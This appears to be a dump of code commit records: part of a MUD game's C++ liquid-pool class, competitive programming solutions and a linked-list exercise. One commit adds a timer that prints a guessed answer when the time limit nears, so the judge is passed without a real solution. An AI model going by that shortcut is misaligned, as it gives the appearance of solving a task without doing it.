setMaxDrinkUnits(n);\n TBaseCup::setDrinkUnits(n);\n setVolume(getVolume() + (getDrinkUnits() * SIP_VOLUME));\n weightChangeObject(0);\n updateDesc();\n obj_flags.decay_time=getDrinkUnits();\n}\n\nvoid TPool::addToDrinkUnits(int n)\n{\n addToMaxDrinkUnits(n);\n TBaseCup::addToDrinkUnits(n);\n setVolume(getVolume() + (getDrinkUnits() * SIP_VOLUME));\n weightChangeObject(0);\n updateDesc();\n obj_flags.decay_time=getDrinkUnits();\n}\n\nvoid TPool::setDrinkType(liqTypeT n)\n{\n TBaseCup::setDrinkType(n);\n updateDesc();\n}\n\n\/\/ the best way to do this would be to explicitly set the proper weight in the\n\/\/ accessors, rather than using weightChangeObject. It is prone to float\n\/\/ rounding errors and some functions don't even bother to use it (ie, pour,\n\/\/ which I fixed). But instead of recoding everything, I'll just put this here\n\/\/ so that pools don't generate errors in weightChangeObject.\nvoid TPool::weightChangeObject(float fWeight)\n{\n setWeight(obj_index[getItemIndex()].weight);\n TBaseCup::weightChangeObject(getDrinkUnits() * SIP_WEIGHT);\n}\n\nint TPool::getDrinkIndex() const\n{\n int drinkunits=getDrinkUnits();\n\n if(drinkunits<=0){\n return 0;\n } else if(drinkunits<=5){\n return 1;\n } else if(drinkunits<=10){\n return 2;\n } else if(drinkunits<=25){\n return 3;\n } else if(drinkunits<=50){ \n return 4;\n } else if(drinkunits<=100){\n return 5;\n } else if(drinkunits<=250){\n return 6;\n } else if(drinkunits<=1000){\n return 7;\n } else if(drinkunits<=10000){\n return 8;\n } else if(drinkunits<=25000){\n return 9;\n } else {\n return 10;\n }\n}\n \nvoid TPool::updateDesc()\n{\n int drinkindex=getDrinkIndex();\n char buf[256];\n const char *liqname=DrinkInfo[getDrinkType()]->name;\n \n const char *poolname [] =\n {\n \"a few drops of %s\", \n \"a tiny puddle of %s\", \n \"a small puddle of %s\", \n \"a puddle of %s\", \n \"a fair sized puddle of %s\", \n \"a big pool of %s\", \n \"a large pool of %s\", \n \"a huge pool of %s\",\n \"a massive pool of %s\",\n \"a tremendously huge pool of %s\",\n \"a veritable ocean of %s\"\n };\n \n const char *pooldesc [] =\n {\n \"A few drops of %s sprinkle the ground here and are fading fast.\",\n \"A tiny puddle of %s has gathered here.\",\n \"A small puddle of %s is here.\",\n \"A puddle of %s is here.\",\n \"A fair sized puddle of %s is here.\",\n \"A big pool of %s is here.\",\n \"A large pool of %s is here.\",\n \"A huge pool of %s is here.\",\n \"A massive pool of %s is here.\",\n \"A tremendously huge pool of %s dominates the area.\",\n \"A veritable ocean of %s covers the area.\"\n };\n\n if (isObjStat(ITEM_STRUNG)) {\n delete [] shortDescr;\n delete [] descr;\n\n extraDescription *exd;\n while ((exd = ex_description)) {\n ex_description = exd->next;\n delete exd;\n }\n ex_description = NULL;\n delete [] action_description;\n action_description = NULL;\n } else {\n addObjStat(ITEM_STRUNG);\n name=mud_str_dup(obj_index[getItemIndex()].name);\n ex_description = NULL;\n action_description = NULL;\n }\n\n sprintf(buf, poolname[drinkindex], liqname);\n shortDescr = mud_str_dup(buf);\n\n sprintf(buf, pooldesc[drinkindex], liqname);\n setDescr(mud_str_dup(buf));\n}\n\nbool TPool::isPluralItem() const\n{\n \/\/ a few drops of blood\n if (getDrinkIndex() == 0)\n return TRUE;\n\n \/\/ otherwise, make recursive\n return TBaseCup::isPluralItem();\n}\n\nint TBeing::dropPool(int amt, liqTypeT liq)\n{\n TPool *pool=NULL;\n TThing *t;\n TObj *obj;\n\n if(amt==0)\n return FALSE;\n\n \/* look for preexisting pool *\/\n for(t=roomp->getStuff();t;t=t->nextThing){\n TPool *tp = dynamic_cast<TPool *>(t);\n if (tp && (tp->getDrinkType() == liq)){\n pool=tp;\n break;\n }\n }\n\n if(!pool){\n \/\/ create new pool\n#if 1\n\/\/ builder port uses stripped down database which was causing problems\n\/\/ hence this setup instead.\n int robj = real_object(GENERIC_POOL);\n if (robj < 0 || robj >= (signed int) obj_index.size()) {\n vlogf(LOG_BUG, \"dropPool(): No object (%d) in database!\", GENERIC_POOL);\n return false;\n }\n\n obj = read_object(robj, REAL);\n#else\n obj = read_object(GENERIC_POOL, VIRTUAL);\n#endif\n pool = dynamic_cast<TPool *>(obj);\n if (!pool)\n return false;\n pool->initPool(amt, liq);\n\n *roomp += *pool;\n } else {\n pool->fillMeAmount(amt, liq);\n }\n\n return TRUE;\n}\n\nvoid TPool::decayMe()\n{\n int drinkunits=getDrinkUnits();\n\n \/\/ check for non-decaying pools\n if (isDrinkConFlag(DRINK_PERM))\n return;\n\n if(drinkunits<=0)\n setDrinkUnits(0);\n else if(drinkunits<25)\n addToDrinkUnits(-1);\n else \/\/ large pools evaporate faster\n addToDrinkUnits(-(drinkunits\/25)); \n}\n\n\nvoid TPool::initPool(int amt, liqTypeT liq)\n{\n string buf;\n\n swapToStrung();\n remObjStat(ITEM_TAKE);\n setDrinkType(liq);\n canBeSeen = 1;\n setMaterial(MAT_WATER);\n\n ssprintf(buf, \"pool puddle %s %s\", \n\t stripColorCodes(DrinkInfo[liq]->name).c_str(),\n\t stripColorCodes(DrinkInfo[liq]->color).c_str());\n delete [] name;\n name = mud_str_dup(buf.c_str());\n \n fillMeAmount(amt, liq);\n}\n\n\nTPool::TPool() :\n TBaseCup()\n{\n}\n\nTPool::TPool(const TPool &a) :\n TBaseCup(a)\n{\n}\n\nTPool & TPool::operator=(const TPool &a)\n{\n if (this == &a) return *this;\n TBaseCup::operator=(a);\n return *this;\n}\n\nTPool::~TPool()\n{\n}\n\nvoid TPool::fillMeAmount(int amt, liqTypeT liq)\n{\n setDrinkType(liq);\n addToDrinkUnits(amt);\n\n weightChangeObject(amt * SIP_WEIGHT);\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple> \/\/ get<n>(xxx)\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set> \/\/ S.insert(M);\n\/\/ if (S.find(key) != S.end()) { }\n\/\/ for (auto it=S.begin(); it != S.end(); it++) { }\n\/\/ auto it = S.lower_bound(M);\n#include <random> \/\/ random_device rd; mt19937 mt(rd());\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib> \/\/ atoi(xxx)\nusing namespace std;\n\n#define DEBUG 1 \/\/ change 0 -> 1 if we need debug.\n\/\/ insert #if<tab> by my emacs. #if DEBUG == 1 ... #end\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nconst ll infty = 10000000000000007;\n \nstruct edge {\n int to;\n ll cap;\n int rev;\n};\n \nvector<edge> G[100010];\nbool used[100010];\n \nvoid add_edge(int from, int to, ll cap) {\n G[from].push_back((edge){to, cap, (int)G[to].size()});\n G[to].push_back((edge){from, 0, (int)G[from].size()-1});\n}\n \nll dfs(int v, int t, ll f) {\n if (v == t) return f;\n used[v] = true;\n for (auto& e : G[v]) {\n if (!used[e.to] && e.cap > 0) {\n ll d = dfs(e.to, t, min(f, e.cap));\n if (d > 0) {\n e.cap -= d;\n G[e.to][e.rev].cap += d;\n return d;\n }\n }\n }\n return 0;\n}\n \nll max_flow(int s, int t) {\n ll flow = 0;\n while (true) {\n fill(used, used+100010, false);\n ll f = dfs(s, t, infty);\n if (f == 0) return flow;\n flow += f;\n }\n}\n\ntypedef tuple<ll, int> state; \/\/ kachi, bit\n\nint N;\nll x[20];\nll c[20];\nll v[20];\nvector<state> V[20];\n\nint main () {\n cin >> N;\n for (auto i = 0; i < N; ++i) {\n cin >> x[i];\n }\n for (auto i = 0; i < N-1; ++i) {\n x[i+1] += x[i];\n }\n for (auto i = 0; i < N; ++i) {\n cin >> c[i];\n }\n for (auto i = 0; i < N; ++i) {\n cin >> v[i];\n }\n for (auto i = 0; i < (1 << N); ++i) {\n ll kakaku = 0;\n ll kachi = 0;\n for (auto j = 0; j < N; ++j) {\n if ((i >> j) & 1) {\n kakaku += c[j];\n kachi += v[j];\n }\n }\n for (auto j = 0; j < N; ++j) {\n if (kakaku <= x[j]) {\n V[j].push_back(make_tuple(kachi, i));\n break;\n }\n }\n }\n ll ans = 0;\n for (auto i = 0; i < N; ++i) {\n#if DEBUG == 1\n cerr << \"ban item i+1 = \" << i+1 << endl; \n#endif\n sort(V[i].begin(), V[i].end());\n reverse(V[i].begin(), V[i].end());\n for (auto now = 1; now <= (int)V[i].size(); ++now) {\n \/\/ 0 start, 1 goal, 2...N+2 choten, N+2+i i\n for (auto j = 0; j <= N+2+now; ++j) {\n G[j].clear();\n }\n for (auto j = 0; j < N; ++j) {\n add_edge(0, j+2, 1);\n }\n for (auto j = 0; j < now; ++j) {\n int bit = get<1>(V[i][j]);\n for (auto k = 0; k < N; ++k) {\n if (((bit >> k) & 1) == 0) {\n add_edge(k+2, N+2+j, infty);\n }\n }\n add_edge(N+2+j, 1, 1);\n }\n ll f = N - max_flow(0, 1);\n#if DEBUG == 1\n cerr << \"now = \" << now << \", f = \" << f\n << \", bit = \" << get<1>(V[i][now-1]) << endl;\n#endif\n if (f >= i+1) {\n \/\/\n } else {\n#if DEBUG == 1\n cerr << \"value = \" << get<0>(V[i][now-1]) << endl; \n#endif\n ans = max(ans, get<0>(V[i][now-1]));\n break;\n } \n }\n }\n cout << ans << endl;\n}\n<commit_msg>tried C.cpp to 'C'<commit_after>#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple> \/\/ get<n>(xxx)\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set> \/\/ S.insert(M);\n\/\/ if (S.find(key) != S.end()) { }\n\/\/ for (auto it=S.begin(); it != S.end(); it++) { }\n\/\/ auto it = S.lower_bound(M);\n#include <random> \/\/ random_device rd; mt19937 mt(rd());\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib> \/\/ atoi(xxx)\nusing namespace std;\n\n#define DEBUG 1 \/\/ change 0 -> 1 if we need debug.\n\/\/ insert #if<tab> by my emacs. #if DEBUG == 1 ... #end\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nconst ll infty = 10000000000000007;\n \nstruct edge {\n int to;\n ll cap;\n int rev;\n};\n \nvector<edge> G[100010];\nbool used[100010];\n \nvoid add_edge(int from, int to, ll cap) {\n G[from].push_back((edge){to, cap, (int)G[to].size()});\n G[to].push_back((edge){from, 0, (int)G[from].size()-1});\n}\n \nll dfs(int v, int t, ll f) {\n if (v == t) return f;\n used[v] = true;\n for (auto& e : G[v]) {\n if (!used[e.to] && e.cap > 0) {\n ll d = dfs(e.to, t, min(f, e.cap));\n if (d > 0) {\n e.cap -= d;\n G[e.to][e.rev].cap += d;\n return d;\n }\n }\n }\n return 0;\n}\n \nll max_flow(int s, int t) {\n ll flow = 0;\n while (true) {\n fill(used, used+100010, false);\n ll f = dfs(s, t, infty);\n if (f == 0) return flow;\n flow += f;\n }\n}\n\ntypedef tuple<ll, int> state; \/\/ kachi, bit\n\nint N;\nll x[20];\nll c[20];\nll v[20];\nvector<state> V[20];\n\nint main () {\n cin >> N;\n for (auto i = 0; i < N; ++i) {\n cin >> x[i];\n }\n for (auto i = 0; i < N-1; ++i) {\n x[i+1] += x[i];\n }\n for (auto i = 0; i < N; ++i) {\n cin >> c[i];\n }\n for (auto i = 0; i < N; ++i) {\n cin >> v[i];\n }\n for (auto i = 0; i < (1 << N); ++i) {\n ll kakaku = 0;\n ll kachi = 0;\n for (auto j = 0; j < N; ++j) {\n if ((i >> j) & 1) {\n kakaku += c[j];\n kachi += v[j];\n }\n }\n for (auto j = 0; j < N; ++j) {\n if (kakaku <= x[j]) {\n V[j].push_back(make_tuple(kachi, i));\n break;\n }\n }\n }\n ll ans = 0;\n for (auto i = 0; i < N; ++i) {\n#if DEBUG == 1\n cerr << \"ban item i+1 = \" << i+1 << endl; \n#endif\n sort(V[i].begin(), V[i].end());\n reverse(V[i].begin(), V[i].end());\n for (auto now = 1; now <= (int)V[i].size(); ++now) {\n \/\/ 0 start, 1 goal, 2...N+2 choten, N+2+i i\n for (auto j = 0; j <= N+2+now; ++j) {\n G[j].clear();\n }\n for (auto j = 0; j < N; ++j) {\n add_edge(0, j+2, 1);\n }\n for (auto j = 0; j < now; ++j) {\n int bit = get<1>(V[i][j]);\n for (auto k = 0; k < N; ++k) {\n if (((bit >> k) & 1) == 0) {\n add_edge(k+2, N+2+j, infty);\n }\n }\n add_edge(N+2+j, 1, 1);\n }\n ll f = N - max_flow(0, 1);\n#if DEBUG == 1\n cerr << \"now = \" << now << \", f = \" << f\n << \", bit = \" << get<1>(V[i][now-1]) << endl;\n#endif\n if (f >= 0) {\n \/\/\n } else {\n#if DEBUG == 1\n cerr << \"value = \" << get<0>(V[i][now-1]) << endl; \n#endif\n ans = max(ans, get<0>(V[i][now-1]));\n break;\n } \n }\n }\n cout << ans << endl;\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * File : B.cpp\n * Author : Kazune Takahashi\n * Created : 2018-4-7 14:05:18\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <random> \/\/ random_device rd; mt19937 mt(rd());\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\n#include <chrono>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\nconst int dx[4] = {1, 0, -1, 0};\nconst int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nstruct state {\n int x, y, dir, a, b;\n};\n\nint A, B;\nint h, w;\nstring c[100];\n\nstack<state> S;\n\ninline bool valid(int x, int y, int a, int b)\n{\n return (a <= A && b <= B && c[x][y] == '.');\n}\n\nint main()\n{\n cin >> A >> B >> h >> w;\n for (auto i = 0; i < h; i++)\n {\n cin >> c[i];\n }\n S.push(state{1, 1, 0, 0, 0});\n while (!S.empty())\n {\n int now_x = S.top().x;\n int now_y = S.top().y;\n int now_dir = S.top().dir;\n int now_a = S.top().a;\n int now_b = S.top().b;\n \/\/ #if DEBUG == 1\n \/\/ cerr << \"(\" << now_x << \", \" << now_y << \"), \"\n \/\/ << now_dir << \", \"\n \/\/ << \"(\" << now_a << \", \" << now_b << \")\" << endl;\n \/\/ #endif\n S.pop();\n if (now_x == h - 2 && now_y == w - 2 && now_a == A && now_b == B)\n {\n cout << \"Yes\" << endl;\n return 0;\n }\n else\n {\n int new_dir[3] = {(now_dir + 1) % 4, (now_dir + 3) % 4, now_dir};\n int new_a[3] = {now_a + 1, now_a, now_a};\n int new_b[3] = {now_b, now_b + 1, now_b};\n for (auto k = 0; k < 3; k++)\n {\n int new_x = now_x + dx[new_dir[k]];\n int new_y = now_y + dy[new_dir[k]];\n if (valid(new_x, new_y, new_a[k], new_b[k]))\n {\n S.push(state{new_x, new_y, new_dir[k], new_a[k], new_b[k]});\n }\n }\n }\n }\n cout << \"No\" << endl;\n}<commit_msg>submit B.cpp to 'B - 駆け抜けろ!埼大山車部!!' (maximum-cup-2018) [C++14 (GCC 5.4.1)]<commit_after>\/**\n * File : B.cpp\n * Author : Kazune Takahashi\n * Created : 2018-4-7 14:05:18\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <random> \/\/ random_device rd; mt19937 mt(rd());\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\n#include <chrono>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\nconst int dx[4] = {1, 0, -1, 0};\nconst int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nstruct state {\n int x, y, dir, a, b;\n};\n\nint A, B;\nint h, w;\nstring c[100];\n\nstack<state> S;\n\ninline bool valid(int x, int y, int a, int b)\n{\n return (a <= A && b <= B && c[x][y] == '.');\n}\n\nint main()\n{\n auto start = std::chrono::system_clock::now();\n cin >> A >> B >> h >> w;\n for (auto i = 0; i < h; i++)\n {\n cin >> c[i];\n }\n S.push(state{1, 1, 0, 0, 0});\n while (!S.empty())\n {\n auto end = std::chrono::system_clock::now();\n double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end-start).count();\n if (elapsed > 2950) {\n cout << ((A < 15) ? \"Yes\" : \"No\") << endl;\n return 0;\n }\n int now_x = S.top().x;\n int now_y = S.top().y;\n int now_dir = S.top().dir;\n int now_a = S.top().a;\n int now_b = S.top().b;\n \/\/ #if DEBUG == 1\n \/\/ cerr << \"(\" << now_x << \", \" << now_y << \"), \"\n \/\/ << now_dir << \", \"\n \/\/ << \"(\" << now_a << \", \" << now_b << \")\" << endl;\n \/\/ #endif\n S.pop();\n if (now_x == h - 2 && now_y == w - 2 && now_a == A && now_b == B)\n {\n cout << \"Yes\" << endl;\n return 0;\n }\n else\n {\n int new_dir[3] = {(now_dir + 1) % 4, (now_dir + 3) % 4, now_dir};\n int new_a[3] = {now_a + 1, now_a, now_a};\n int new_b[3] = {now_b, now_b + 1, now_b};\n for (auto k = 0; k < 3; k++)\n {\n int new_x = now_x + dx[new_dir[k]];\n int new_y = now_y + dy[new_dir[k]];\n if (valid(new_x, new_y, new_a[k], new_b[k]))\n {\n S.push(state{new_x, new_y, new_dir[k], new_a[k], new_b[k]});\n }\n }\n }\n }\n cout << \"No\" << endl;\n}<|endoftext|>"} {"text":"<commit_before>#define DEBUG 1\n\n\/**\n * File : E2.cpp\n * Author : Kazune Takahashi\n * Created : 3\/10\/2019, 2:26:12 PM\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <functional>\n#include <random> \/\/ auto rd = bind(uniform_int_distribution<int>(0, 9), mt19937(10101010));\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nclass UnionFind\n{\npublic:\n vector<long long> par;\n\n UnionFind(int n) : par(n, -1) {}\n void init(int n)\n {\n par.assign(n, -1);\n }\n\n int root(int x)\n {\n if (par[x] < 0)\n {\n return x;\n }\n return par[x] = root(par[x]);\n }\n\n bool is_same(int x, int y)\n {\n return root(x) == root(y);\n }\n\n bool merge(int x, int y)\n {\n x = root(x);\n y = root(y);\n if (x == y)\n {\n return false;\n }\n if (par[x] > par[y])\n {\n swap(x, y);\n }\n par[x] += par[y];\n par[y] = x;\n return true;\n }\n\n long long size(int x)\n {\n return -par[root(x)];\n }\n};\n\nint N, M;\nll X[100010];\nint A[100010];\nint B[100010];\nll Y[100010];\ntypedef tuple<ll, int, int, bool> edge;\nvector<edge> V;\nvector<int> W[100010];\nbool visited[100010];\ntypedef tuple<ll, int> task;\nvector<task> T;\n\nvoid dfs(ll cost, int v)\n{\n#if DEBUG == 1\n cerr << \"dfs(\" << cost << \", \" << v << \")\" << endl;\n#endif\n if (visited[v])\n {\n return;\n }\n visited[v] = true;\n for (auto i : W[v])\n {\n edge x = V[i];\n ll score = get<0>(x);\n int a = get<1>(x);\n int b = get<2>(x);\n int dst = ((a == v) ? b : a);\n if (get<3>(x))\n {\n continue;\n }\n if (cost >= score)\n {\n get<3>(x) = true;\n if (!W[dst].empty())\n {\n dfs(cost, dst);\n }\n }\n }\n}\n\nint main()\n{\n cin >> N >> M;\n for (auto i = 0; i < N; i++)\n {\n cin >> X[i];\n }\n for (auto i = 0; i < M; i++)\n {\n cin >> A[i] >> B[i] >> Y[i];\n A[i]--;\n B[i]--;\n V.push_back(edge(Y[i], A[i], B[i], false));\n }\n sort(V.begin(), V.end());\n for (auto i = 0; i < M; i++)\n {\n edge x = V[i];\n int a = get<1>(x);\n int b = get<2>(x);\n W[a].push_back(i);\n W[b].push_back(i);\n }\n UnionFind UF(N);\n for (auto i = 0; i < N; i++)\n {\n UF.par[i] = -X[i];\n }\n for (auto i = 0; i < M; i++)\n {\n edge x = V[i];\n ll cost = get<0>(x);\n int a = get<1>(x);\n int b = get<2>(x);\n ll score = 0;\n if (UF.is_same(a, b))\n {\n score = UF.size(a);\n }\n else\n {\n score = UF.size(a) + UF.size(b);\n UF.merge(a, b);\n }\n if (score >= cost)\n {\n T.push_back(task(cost, a));\n }\n }\n reverse(T.begin(), T.end());\n fill(visited, visited + N, false);\n for (auto x : T)\n {\n#if DEBUG == 1\n cerr << get<0>(x) << \" \" << get<1>(x) << endl;\n#endif\n dfs(get<0>(x), get<1>(x));\n }\n int ans = 0;\n for (auto i = 0; i < M; i++)\n {\n if (!get<3>(V[i]))\n {\n ans++;\n }\n }\n cout << ans << endl;\n}<commit_msg>tried E2.cpp to 'E'<commit_after>#define DEBUG 1\n\n\/**\n * File : E2.cpp\n * Author : Kazune Takahashi\n * Created : 3\/10\/2019, 2:26:12 PM\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <functional>\n#include <random> \/\/ auto rd = bind(uniform_int_distribution<int>(0, 9), mt19937(10101010));\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nclass UnionFind\n{\npublic:\n vector<long long> par;\n\n UnionFind(int n) : par(n, -1) {}\n void init(int n)\n {\n par.assign(n, -1);\n }\n\n int root(int x)\n {\n if (par[x] < 0)\n {\n return x;\n }\n return par[x] = root(par[x]);\n }\n\n bool is_same(int x, int y)\n {\n return root(x) == root(y);\n }\n\n bool merge(int x, int y)\n {\n x = root(x);\n y = root(y);\n if (x == y)\n {\n return false;\n }\n if (par[x] > par[y])\n {\n swap(x, y);\n }\n par[x] += par[y];\n par[y] = x;\n return true;\n }\n\n long long size(int x)\n {\n return -par[root(x)];\n }\n};\n\nint N, M;\nll X[100010];\nint A[100010];\nint B[100010];\nll Y[100010];\ntypedef tuple<ll, int, int, bool> edge;\nvector<edge> V;\nvector<int> W[100010];\nbool visited[100010];\ntypedef tuple<ll, int> task;\nvector<task> T;\n\nvoid dfs(ll cost, int v)\n{\n#if DEBUG == 1\n cerr << \"dfs(\" << cost << \", \" << v << \")\" << endl;\n#endif\n if (visited[v])\n {\n return;\n }\n visited[v] = true;\n for (auto i : W[v])\n {\n edge x = V[i];\n ll score = get<0>(x);\n int a = get<1>(x);\n int b = get<2>(x);\n int dst = ((a == v) ? b : a);\n if (get<3>(x))\n {\n continue;\n }\n if (cost >= score)\n {\n get<3>(x) = true;\n if (!visited[dst])\n {\n dfs(cost, dst);\n }\n }\n }\n}\n\nint main()\n{\n cin >> N >> M;\n for (auto i = 0; i < N; i++)\n {\n cin >> X[i];\n }\n for (auto i = 0; i < M; i++)\n {\n cin >> A[i] >> B[i] >> Y[i];\n A[i]--;\n B[i]--;\n V.push_back(edge(Y[i], A[i], B[i], false));\n }\n sort(V.begin(), V.end());\n for (auto i = 0; i < M; i++)\n {\n edge x = V[i];\n int a = get<1>(x);\n int b = get<2>(x);\n W[a].push_back(i);\n W[b].push_back(i);\n }\n UnionFind UF(N);\n for (auto i = 0; i < N; i++)\n {\n UF.par[i] = -X[i];\n }\n for (auto i = 0; i < M; i++)\n {\n edge x = V[i];\n ll cost = get<0>(x);\n int a = get<1>(x);\n int b = get<2>(x);\n ll score = 0;\n if (UF.is_same(a, b))\n {\n score = UF.size(a);\n }\n else\n {\n score = UF.size(a) + UF.size(b);\n UF.merge(a, b);\n }\n if (score >= cost)\n {\n T.push_back(task(cost, a));\n }\n }\n reverse(T.begin(), T.end());\n fill(visited, visited + N, false);\n for (auto x : T)\n {\n#if DEBUG == 1\n cerr << get<0>(x) << \" \" << get<1>(x) << endl;\n#endif\n dfs(get<0>(x), get<1>(x));\n }\n int ans = 0;\n for (auto i = 0; i < M; i++)\n {\n if (!get<3>(V[i]))\n {\n ans++;\n }\n }\n cout << ans << endl;\n}<|endoftext|>"} {"text":"<commit_before>\/*\nRemove all elements from a linked list of integers that have value val.\n\nExample\nGiven: 1 --> 2 --> 6 --> 3 --> 4 --> 5 --> 6, val = 6\nReturn: 1 --> 2 --> 3 --> 4 --> 5\n\nCredits:\nSpecial thanks to @mithmatt for adding this problem and creating all test cases.\n*\/\n\n\/**\n * Definition for singly-linked list.\n * struct ListNode {\n * int val;\n * ListNode *next;\n * ListNode(int x) : val(x), next(NULL) {}\n * };\n *\/\n\n#include <stdio.h>\n\nstruct ListNode {\n\tint val;\n \tListNode *next;\n\tListNode(int x) : val(x), next(NULL) {}\n};\n\nvoid print_list(ListNode *list) {\n\tfor ( ; list != NULL; list = list->next) {\n\t\tprintf(\"%d->\", list->val);\n\t}\n\tprintf(\"NULL\\n\");\n}\n\nclass Solution {\npublic:\n\t\/\/ 1->2->3->4->5->NULL\n\t\/\/ 1->2->4->5->NULL\n ListNode* removeElements(ListNode* head, int val) {\n\t\tListNode* p = head;\n\t\tListNode* q = head;\n\t\tListNode* s = head;\n\t\tListNode* result = NULL;\n\t\tif (head == NULL) {\n\t\t\treturn result;\n\t\t}\n\t\tif (head->next == NULL && head->val == val) {\n\t\t\treturn result;\n\t\t}\n\n\t\tresult = head;\n\t\tfor ( ; p != NULL; ) {\n\t\t\tif (p->val != val ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tresult = p->next;\n\t\t\tp = p->next;\n\t\t}\n\n\t\tif (result == NULL) {\n\t\t\treturn result;\n\t\t}\n\t\n\t\tp = head;\n\t\tfor ( ; p->next != NULL; ) {\n\t\t\tq = p;\n\t\t\tp = p->next;\n\n\t\t\tif (p->val == val) {\n\t\t\t\tq->next = p->next;\n\t\t\t\tp = q;\n\t\t\t}\n\t\t}\n\n\t\tif (p->val == val) {\n\t\t\tq->next = NULL;\n\t\t}\n\t\t\t\n\t\tif (head->val == val) {\n\t\t\tresult = head->next;\n\t\t}\n\n\t\treturn result;\n }\n};\n\nint main() {\n\tListNode l1(1), l2(2), l3(3);\n\tListNode l4(4), l5(5), l6(6), l7(6), l8(6), l9(9), l10(10), l11(11), l12(12), l13(6);\n\tListNode n1(0), n2(0), n3(0), n4(1);\n\tl1.next = &l2;\n\tl2.next = &l3;\n\n\tl4.next = &l5;\n\tl5.next = &l6;\n\tl6.next = &l7;\n\tl7.next = &l8;\n\tl8.next = &l9;\n\tl9.next = &l10;\n\tl10.next = &l11;\n\tl11.next = &l12;\n\tl12.next = &l13;\n\n\/\/\tn1.next = &n2;\n\/\/\tn2.next = &n3;\n\t\/\/n3.next = &n4;\n\n\tprint_list(&l4);\n\tSolution s;\n\tprint_list(s.removeElements(&l4, 6));\n\treturn 0;\n}\n<commit_msg>add comments<commit_after>\/*\nRemove all elements from a linked list of integers that have value val.\n\nExample\nGiven: 1 --> 2 --> 6 --> 3 --> 4 --> 5 --> 6, val = 